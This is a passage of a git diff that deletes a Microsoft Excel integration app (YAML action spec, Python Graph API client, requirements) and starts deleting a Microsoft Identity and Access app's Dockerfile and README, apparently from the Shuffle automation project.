permission (some of the permissions will require admin consent) -- For Excel app we need Files.ReadWrite.All, Sites.ReadWrite.All, User.ReadWrite.All permissions. -- After adding permission , Grant consent. - - - diff --git a/microsoft-excel/1.0.0/api.yaml b/microsoft-excel/1.0.0/api.yaml deleted file mode 100644 index 1ffbb35a..00000000 --- a/microsoft-excel/1.0.0/api.yaml +++ /dev/null @@ -1,192 +0,0 @@ -app_version: 1.0.0 -name: Microsoft Excel -description: An app for Microsoft Excel using Graph Api -contact_info: - name: "ShalinBhavsar" - url: https://www.shuffler.io - email: shalinb@infopercept.com -authentication: - required: true - parameters: - - name: tenant_id - description: The tenant of the OAuth client - example: "***" - multiline: false - required: true - schema: - type: string - - name: client_id - description: The client id to use - example: "***" - multiline: false - required: true - schema: - type: string - - name: client_secret - description: The secret value to use - multiline: false - example: "***" - required: true - schema: - type: string -actions: - - name: get_excel_file_data - description: Gets data from all cells in an excel file as a list. If CSV, returns it as a CSV list - auth_not_required: true - parameters: - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - returns: - schema: - type: string - - name: get_user_id - description: Returns all users - - name: get_files - description: Returns all file information present the user's one drive - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: list_worksheets - description: Returns all worksheets present in a workbook/Excel file - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - - name: add_worksheet - description: Add one new worksheet with specified name - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - - name: name - description: name of the worksheet - multiline: false - required: false - schema: - type: string - - name: delete_worksheet - description: Delete worksheet - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - - name: name - description: name of the worksheet to delete - multiline: false - required: true - schema: - type: string - - name: insert_or_update_data - description: Insert or update values in the file - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - - name: sheet_name - description: name of the worksheet - multiline: false - required: true - schema: - type: string - - name: address - description: Range/Address of the cells - multiline: false - required: true - example: 'A1:B2' - schema: - type: string - - name: value - description: updated values - required: true - example: 'row1column1,row1column2;row2column1,row2column2' - schema: - type: string - - name: clear_data - description: Clears data of specified range - parameters: - - name: user_id - description: The user id to identify user - multiline: false - required: true - schema: - type: string - - name: file_id - description: The file id of the file - multiline: false - required: true - schema: - type: string - - name: sheet_name - description: name of the worksheet - multiline: false - required: true - example: 'Sheet1' - schema: - type: string - - name: address - description: Range/Address of the cells - multiline: false - required: true - example: 'A1:B2' - schema: - type: string - returns: - schema: - type: string - #- name: convert_to_csv - # description: Converts and xls(x) file to csv - # parameters: - # - name: file_id - # description: The file id of the file - # multiline: false - # required: true - # schema: - # type: string - # returns: - # schema: - # type: string -large_image: data:image/png;base64,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 diff --git a/microsoft-excel/1.0.0/requirements.txt b/microsoft-excel/1.0.0/requirements.txt deleted file mode 100644 index 451582f8..00000000 --- a/microsoft-excel/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -requests==2.25.1 -openpyxl==3.0.9 diff --git a/microsoft-excel/1.0.0/src/app.py b/microsoft-excel/1.0.0/src/app.py deleted file mode 100644 index 8baa18f0..00000000 --- a/microsoft-excel/1.0.0/src/app.py +++ /dev/null @@ -1,231 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import uuid -import time -import requests - -from walkoff_app_sdk import csv_parse -from walkoff_app_sdk.app_base import AppBase - -from openpyxl import Workbook, load_workbook - -class MSExcel(AppBase): - __version__ = "1.0.0" - app_name = "Microsoft Excel" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def authenticate(self, tenant_id, client_id, client_secret, graph_url): - s = requests.Session() - auth_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" - auth_data = { - "grant_type": "client_credentials", - "client_id": client_id, - "client_secret": client_secret, - "scope": f"{graph_url}/.default", - } - auth_headers = { - "Content-Type": "application/x-www-form-urlencoded", - "cache-control": "no-cache", - } - - print(f"Making request to: {auth_url}") - res = s.post(auth_url, data=auth_data, headers=auth_headers) - - # Auth failed, raise exception with the response - if res.status_code != 200: - raise ConnectionError(res.text) - - access_token = res.json().get("access_token") - s.headers = {"Authorization": f"Bearer {access_token}", "cache-control": "no-cache"} - return s - - def get_user_id(self, tenant_id, client_id, client_secret): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = "https://graph.microsoft.com/v1.0/users" - ret = session.get(graph_url) - return ret.text - - def get_files(self, tenant_id, client_id, client_secret, user_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/root/children" - ret = session.get(graph_url) - return ret.text - - def list_worksheets(self, tenant_id, client_id, client_secret, user_id, file_id): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/items/{file_id}/workbook/worksheets" - ret = session.get(graph_url) - return ret.text - - def add_worksheet(self, tenant_id, client_id, client_secret, user_id, file_id, name): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/items/{file_id}/workbook/worksheets" - if len(name)!=0: - body = { - "name": name - } - else: - body = {} - ret = session.post(graph_url, json = body) - return ret.text - - def delete_worksheet(self, tenant_id, client_id, client_secret, user_id, file_id, name): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/items/{file_id}/workbook/worksheets/{name}" - ret = session.delete(graph_url) - if ret.status_code != 200: - return "Action failed" - else: - return "Action successfully completed" - - def insert_or_update_data(self, tenant_id, client_id, client_secret, user_id, file_id, sheet_name, address, value): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/items/{file_id}/workbook/worksheets/{sheet_name}/range(address='{address}')" - lt = [] - for i in value.split(';'): - temp_var = [] - for j in i.split(','): - temp_var.append(j) - lt.append(temp_var) - body = { - "values":lt - } - ret = session.patch(graph_url, json=body) - return ret.text - - def clear_data(self, tenant_id, client_id, client_secret, user_id, file_id, sheet_name, address): - graph_url = "https://graph.microsoft.com" - session = self.authenticate(tenant_id, client_id, client_secret, graph_url) - graph_url = f"https://graph.microsoft.com/v1.0/users/{user_id}/drive/items/{file_id}/workbook/worksheets/{sheet_name}/range(address='{address}')/clear" - ret = session.post(graph_url) - if ret.status_code != 200: - return "Action failed" - else: - return "Action successfully completed" - - def convert_to_csv(self, tenant_id, client_id, client_secret, file_id, sheet="Sheet1"): - filedata = self.get_file(file_id) - if filedata["success"] != True: - return filedata - - basename = "/tmp/file.xlsx" - with open(basename, "wb") as tmp: - tmp.write(filedata["data"]) - - if sheet == "": - sheet = "Sheet1" - - #wb = Workbook(basename) - wb = load_workbook(basename) - print("Sheets: %s" % wb.sheetnames) - - # grab the active worksheet - ws = wb.active - for item in ws.iter_rows(): - print(item) - - csvdata = "" - for row in ws.values: - for value in row: - #print(value) - if value == None: - csvdata += "," - elif isinstance(value, str): - csvdata += value+"," - else: - csvdata += str(value)+"," - - csvdata = csvdata[:-1]+"\n" - csvdata = csvdata[:-1] - - print() - print("Data:\n%s\n" % csvdata) - - return csvdata - - def get_excel_file_data(self, file_id): - filedata = self.get_file(file_id) - if filedata["success"] != True: - print(f"Bad info from file: {filedata}") - return filedata - - try: - print("Filename: %s" % filedata["filename"]) - if "csv" in filedata["filename"]: - try: - filedata["data"] = filedata["data"].decode("utf-8") - except: - try: - filedata["data"] = filedata["data"].decode("utf-16") - except: - filedata["data"] = filedata["data"].decode("latin-1") - - returndata = csv_parse(filedata["data"]) - return returndata - - except Exception as e: - print("Error parsing file with csv parser for file %s: %s" % (filedata["filename"], e)) - - basename = "/tmp/file.xlsx" - with open(basename, "wb") as tmp: - tmp.write(filedata["data"]) - - #wb = Workbook(basename) - try: - wb = load_workbook(basename) - except Exception as e: - return { - "success": False, - "reason": "The file is invalid. Are you sure it's a valid excel file? CSV files are not supported.", - "exception": "Error: %s" % e, - } - - print("Sheets: %s" % wb.sheetnames) - - output_data = [] - for ws in wb.worksheets: - print(f"Title: {ws.title}") - - # grab the active worksheet - csvdata = "" - for row in ws.values: - for value in row: - #print(value) - if value == None: - csvdata += "," - elif isinstance(value, str): - csvdata += value+"," - else: - csvdata += str(value)+"," - - csvdata = csvdata[:-1]+"\n" - csvdata = csvdata[:-1] - - print() - print("Data:\n%s\n" % csvdata) - output_data.append({ - "sheet": ws.title, - "data": csvdata, - }) - - return output_data - -if __name__ == "__main__": - MSExcel.run() diff --git a/microsoft-identity-and-access/1.0.0/Dockerfile b/microsoft-identity-and-access/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/microsoft-identity-and-access/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-identity-and-access/1.0.0/README.md b/microsoft-identity-and-access/1.0.0/README.md deleted file mode 100644 index ab2a3c8f..00000000 --- a/microsoft-identity-and-access/1.0.0/README.md +++ /dev/null @@ -1,35 +0,0 @@ -## Microsoft Identity and Access -- An app to interact with Active Directory in Azure. - -**PS: If you want to Reset a password in Azure AD, please use the "Azure AD Delegated" app, and use ONLY delegated permissions for this.** - -## How to register app in Active Directory on Azure portal? - -### Step 1: Go to the Azure portal - - - You'll need to go to the [Azure Portal](https://portal.azure.com/) and login. - -### Step 2: Go to the Azure Active Directory Service - -- Once you are logged into Azure, Register a new application so you can access -the Microsoft Graph API. To 